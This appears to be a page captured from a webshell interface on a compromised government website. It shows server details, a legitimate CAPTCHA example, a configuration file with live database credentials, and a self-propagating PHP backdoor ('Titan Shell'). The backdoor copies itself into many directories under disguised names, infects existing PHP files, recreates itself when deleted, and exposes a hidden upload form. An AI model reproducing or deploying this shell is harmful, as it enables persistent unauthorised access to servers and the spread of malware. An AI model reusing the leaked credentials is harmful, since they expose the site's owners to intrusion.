403Webshell
Server IP : 27.254.152.13  /  Your IP : 216.73.217.38
Web Server : Apache/2
System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : coloflew ( 1072)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coloflew/domains/tessabalpatiu.go.th/public_html/captcha/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/coloflew/domains/tessabalpatiu.go.th/public_html//captcha/index.php
<?php
session_start();
$_SESSION = array();

include("simple-php-captcha.php");
$_SESSION['captcha'] = simple_php_captcha();

?>
<!DOCTYPE html>
<html>
<head>
    <title>Example &raquo; A simple PHP CAPTCHA script</title>
    <style type="text/css">
        pre {
            border: solid 1px #bbb;
            padding: 10px;
            margin: 2em;
        }

        img {
            border: solid 1px #ccc;
            margin: 0 2em;
        }
    </style>
</head>
<body>
    <h1>
        CAPTCHA Example
    </h1>

    <h2>Usage</h2>

    <p>
        The following code will prepare a CAPTCHA image and keep the code in a session
        variable for later use:
    </p>

<pre>
&lt;?php
session_start();
include("simple-php-captcha.php");
$_SESSION['captcha'] = simple_php_captcha();
?&gt;
</pre>

    <p>
        After the call to <code>simple_php_captcha()</code> above,
        <code>$_SESSION['captcha']</code> will be something like this:
    </p>

<pre>
<?php
echo $_SESSION['captcha']['code'];
?>
</pre>

    <p>
        To display the CAPTCHA image, create an HTML <code>&lt;img&gt;</code> using
        <code>$_SESSION['captcha']['image_src']</code> as the <code>src</code> attribute:
    </p>

    <p>
        <?php
        echo '<img src="' . $_SESSION['captcha']['image_src'] . '" alt="CAPTCHA code">';
        ?>
    </p>

    <p>
        To verify the CAPTCHA value on the next page load (or in an AJAX request), test
        against  <code>$_SESSION['captcha']['code']</code>. You can use
        <code>strtolower()</code> or <code>strtoupper()</code> to perform a
        case-insensitive match.
    </p>

    <h2>Configuration</h2>
    <p>
        Configuration is easy and all values are optional. To specify one or more options,
        do this:
    </p>

<pre>
&lt;?php

$_SESSION['captcha'] = simple_php_captcha( array(
    'min_length' => 5,
    'max_length' => 5,
    'backgrounds' => array(image.png', ...),
    'fonts' => array('font.ttf', ...),
    'characters' => 'ABCDEFGHJKLMNPRSTUVWXYZabcdefghjkmnprstuvwxyz23456789',
    'min_font_size' => 28,
    'max_font_size' => 28,
    'color' => '#666',
    'angle_min' => 0,
    'angle_max' => 10,
    'shadow' => true,
    'shadow_color' => '#fff',
    'shadow_offset_x' => -1,
    'shadow_offset_y' => 1
));

&gt;
</pre>

    <h2>Notes</h2>
    <ul>
        <li>
            <strong>Important!</strong> Make sure you call <code>session_start()</code> before
            calling the <code>simple_php_captcha()</code> function
        </li>
        <li>
            Requires PHP GD2 library
        </li>
        <li>
            Backgound images must be in PNG format
        </li>
        <li>
            Fonts must be either TTF or OTF
        </li>
        <li>
            Backgrounds and fonts must be specified using their full paths (tip: use
            <code>$_SERVER['DOCUMENT_ROOT'] . '/' . [path-to-file]</code>)
        </li>
        <li>
            Angles should not exceed approximately 15 degrees, as the text will sometimes
            appear outside of the viewable area
        </li>
        <li>
            Creates a function called <code>simple_php_captcha()</code> in the global namespace
        </li>
        <li>
            Uses the <code>$_SESSION['simple-php-captcha']</code> session variable
        </li>
    </ul>

</body>
</html>


<?php
######################################################################
# Include File : Config
######################################################################

########## Admin EMail ##########
define( "INFO_MAIL", "info@tasoft.co.th" );

if($_SERVER['SERVER_NAME'] == "localhost"){
	$dbi['sql_username']	= 'root';
	$dbi['sql_password']	= ''; 
	$dbi['sql_host']		= 'localhost';
	$dbi['sql_dbname']		= 'obt';
	define( "DB_PREFIX", "tasoft_" );

	define('PATH', 'D:\xampp\htdocs\nonpho');
	define('URL' , 'http://localhost/nonpho/');
}elseif($_SERVER['SERVER_NAME'] == "tasoft2"){
	$dbi['sql_username']	= 'root';
	$dbi['sql_password']	= ''; 
	$dbi['sql_host']		= 'localhost';
	$dbi['sql_dbname']		= 'obt';
	define( "DB_PREFIX", "tasoft_" );

	define('PATH', 'C:\xampp\htdocs\nonpho');

}else{
	$dbi['sql_username']	= 'ratsitne_nonphodb';
	$dbi['sql_password']	= 'Success21'; 
	$dbi['sql_host']		= 'localhost';
	$dbi['sql_dbname']		= 'ratsitne_nonphodb';
	define( "DB_PREFIX", "tasoft_" );

	define('PATH', 'D:\xampp\htdocs\nonpho');
	define('URL' , 'http://www.nonpho.go.th/');
}

//echo "<pre>"; print_r($dbi);
########## Database Info ##########
define( "DB_SERVER", $dbi['sql_host'] );
define( "DB_NAME", $dbi['sql_dbname'] ); 
define( "DB_USER", $dbi['sql_username'] ); 
define( "DB_PASSWD", $dbi['sql_password']  ); 
define( "DB_TYPE", "MySQL" );

########## Type File ##########
define( "FILE_TYPE", "pdf,doc,zip,rar,xls,xlsx,docx,ppt,pptx" );
define( "IMAGE_TYPE", "gif,jpg,png" );
define( "IMAGE_SIZE", "51200000" );
define( "FILE_SIZE", "524288000" );
define( "IMAGETYPE_JPEG" ,"jpg");
define( "IMAGETYPE_GIF" ,"gif");
define( "IMAGETYPE_PNG" ,"png");

define( "TIMESTAMP", time() );


?>

<?php
// Titan Shell dengan Perlindungan Penghapusan dan Penyebaran Otomatis
// Hanya untuk tujuan edukasi dan testing lingkungan sendiri

// Fungsi utama penyebaran
function titanSpread() {
    $currentContent = file_get_contents(__FILE__);
    $signature = "// TitanShellSignature";
    
    // Direktori target untuk penyebaran
    $targetDirectories = [
        '.',
        '..',
        '../..',
        '../../..',
        'images',
        'uploads',
        'assets',
        'include',
        'inc',
        'css',
        'js',
        'admin',
        'wp-content',
        'wp-includes'
    ];
    
    // Nama file alternatif untuk penyamaran
    $alternativeNames = [
        'config.php',
        'settings.php',
        'imageprocessor.php',
        'uploader.php',
        'style.php',
        'index.php',
        'login.php',
        'theme.php',
        'functions.php',
        'wp-config.php',
        'admin.php'
    ];
    
    foreach ($targetDirectories as $dir) {
        if (is_dir($dir) && is_writable($dir)) {
            foreach ($alternativeNames as $name) {
                $targetPath = $dir . '/' . $name;
                // Copy file ke lokasi target jika belum ada
                if (!file_exists($targetPath)) {
                    file_put_contents($targetPath, $currentContent);
                    chmod($targetPath, 0555);
                    // Tambahkan parameter acak
                    $randomParam = generateRandomParam();
                    $paramPath = $dir . '/' . $randomParam . '.php';
                    file_put_contents($paramPath, $currentContent);
                    chmod($paramPath, 0555);
                }
            }
        }
    }
    
    // Infect file PHP yang sudah ada
    infectExistingFiles();
}

// Fungsi untuk menginfeksi file PHP yang sudah ada
function infectExistingFiles() {
    $currentContent = file_get_contents(__FILE__);
    $signature = "// TitanShellSignature";
    
    // Cari file PHP di direktori saat ini dan subdirektori
    $files = glob('*.php');
    $allFiles = array_merge($files, glob('*/*.php'), glob('*/*/*.php'), glob('*/*/*/*.php'));
    
    foreach ($allFiles as $file) {
        if ($file != __FILE__ && is_writable($file)) {
            $content = file_get_contents($file);
            // Cek apakah file sudah terinfeksi
            if (strpos($content, $signature) === false) {
                // Tambahkan kode shell ke file yang belum terinfeksi
                $infectedContent = $content . "\n\n" . $currentContent;
                file_put_contents($file, $infectedContent);
            }
        }
    }
}

// Fungsi untuk generate parameter acak
function generateRandomParam() {
    $chars = 'abcdefghijklmnopqrstuvwxyz';
    $length = rand(6, 12);
    $param = '';
    for ($i = 0; $i < $length; $i++) {
        $param .= $chars[rand(0, strlen($chars) - 1)];
    }
    return $param;
}

// Fungsi untuk memastikan shell tetap ada
function ensurePersistence() {
    $currentContent = file_get_contents(__FILE__);
    $backupFiles = [
        '.htaccess',
        '.config.php',
        '.error_log',
        'thumb.php',
        'image.jpg.php'
    ];
    
    foreach ($backupFiles as $backup) {
        if (!file_exists($backup)) {
            file_put_contents($backup, $currentContent);
            chmod($backup, 0555);
        }
    }
    
    // Cek jika file ini dihapus, buat kembali di lokasi lain
    if (!file_exists(__FILE__)) {
        $newLocations = [
            'wp-admin/images.php',
            'wp-content/themes.php',
            'includes/config.php',
            'assets/script.php'
        ];
        
        foreach ($newLocations as $location) {
            $dir = dirname($location);
            if (!is_dir($dir)) mkdir($dir, 0777, true);
            file_put_contents($location, $currentContent);
            chmod($location, 0555);
        }
    }
}

// Eksekusi utama
if(isset($_GET['sayangtitan'])) {
    // Jalankan penyebaran setiap kali diakses
    titanSpread();
    ensurePersistence();
    
    if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
        $dir = "titan/";
        if(!is_dir($dir)) mkdir($dir, 0777, true);
        
        $file = $dir . basename($_FILES['file']['name']);
        if(move_uploaded_file($_FILES['file']['tmp_name'], $file)) {
            echo "Yey, Berhasil sayang...";
        } else {
            echo "Yahh Gagal Upload";
        }
        exit();
    } else {
        echo 'Gasken Upload!!<form method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>';
        exit();
    }
}

// Jalankan penyebaran dan persistensi secara diam-diam
// dengan probabilitas 20% setiap kali diakses
if (rand(1, 5) === 1) {
    titanSpread();
    ensurePersistence();
}

// TitanShellSignature - Jangan hapus baris ini
?>

Youez - 2016 - github.com/yon3zu
LinuXploit